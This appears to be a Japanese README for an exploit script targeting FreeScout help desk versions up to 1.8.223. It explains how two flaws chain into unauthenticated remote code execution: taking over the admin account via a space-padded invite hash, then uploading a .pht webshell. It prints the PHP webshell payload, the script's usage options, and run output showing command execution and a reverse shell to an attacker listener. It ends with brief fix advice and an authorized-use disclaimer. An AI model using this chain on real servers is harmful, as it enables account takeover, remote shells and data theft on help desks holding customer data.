
FreeScout ≤ 1.8.223(Laravel製ヘルプデスク)における非認証のリモートコード実行。2つの欠陥を連鎖させることで実現するもので、いずれも1.8.224で修正されています:
POST /user-setup/{hash}/{invite_sent_at} は invite_hash カラムのみでアカウントを特定します。有効化済みユーザーの invite_hash は '' ですが、MySQL/MariaDBの VARCHAR 同値比較は末尾のスペースを無視するため、hash = %20 が管理者に一致します。invite_sent_at の有効期限チェックは、ユーザーのパスワードをキーにして値を復号しますが、復号ヘルパーは失敗時に生の入力をそのまま返す(空の catch)ため、平文の現在のUNIXタイムスタンプが受け入れられます。その後、エンドポイントはアカウントのメールアドレスとパスワードを上書きし、ログインさせます。.pht アップロード**。アップロードの拒否リスト(php.*|sh|pl|phtml|phar)は .pht をカバーしておらず、Apacheの mod_php は .pht をPHPとして実行します。これらを連鎖させると、非認証の攻撃者がウェブサーバーユーザー(www-data)としてコードを実行できます。
GET /user-setup/%20/<unix_ts> でセッションCookieとCSRFトークンを取得します。POSTして、管理者のメールアドレス/パスワードを上書きしてログインします(ATO)。POST /uploads/upload で shell.pht(<?php system($_GET['c']); ?>)をアップロードします。./exploit.sh -t <target> [options]
-t, --target URL target base URL (e.g. http://10.10.10.10) [required]
-c, --cmd CMD run a single command (default: id)
--lhost IP reverse shell: attacker IP (start nc first)
--lport PORT reverse shell port (default 4444)
--email ADDR email to set on the seized admin (default [email protected])
--password PASS password to set (default Pwned12345)
-h, --help
$ ./exploit.sh -t http://10.10.10.10
[*] fetching setup form (hash=%20, ts=1784500000) ...
[*] seizing admin -> [email protected] / Pwned12345 ...
[+] admin account taken over (you can also log in at http://10.10.10.10/login)
[*] uploading .pht webshell ...
[+] webshell: http://10.10.10.10/storage/uploads/p2Bj81XDu6DbBJ4Sq5mYW05zY.pht
[+] id -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ./exploit.sh -t http://10.10.10.10 -c 'cat /var/www/local.txt'
...
[+] cat /var/www/local.txt -> f1a7c30e9b6d24851e6d24851f1a7c30
# reverse shell (run `nc -lvnp 4444` first)
$ ./exploit.sh -t http://10.10.10.10 --lhost 10.10.14.7 --lport 4444
[+] admin account taken over ...
[+] webshell: http://10.10.10.10/storage/uploads/....pht
[*] sending reverse shell to 10.10.14.7:4444 ...
[+] payload sent — check your listener.
bash、curl、jq1.0.x – 1.8.223 で動作します。1.8.224+ では両方のバグが修正されています(302 は乗っ取り失敗になります)。.pht の実行は、サーバーが mod_php 経由で .pht を実行しているかどうかに依存します。これはCVEが対象とする「標準的なApache + libapache2-mod-php」環境です。system() は /bin/sh(Debian/Ubuntuではdash)経由で実行されるため、bash専用の >& /dev/tcp/... リダイレクトを解釈できません。base64化により、クォートに関する問題もすべて回避されます。! が含まれていません。インタラクティブなbash/zshでは ! が履歴展開を引き起こし、貼り付けたコマンドを壊してしまうためです。VARCHAR の同値比較を使用しないでください(末尾スペースの衝突)。また、復号失敗を有効な値として扱わず、空または不正なトークンを拒否してください。認可されたセキュリティテストおよび教育目的のみに使用してください。所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。作者は誤用に対する一切の責任を負いません。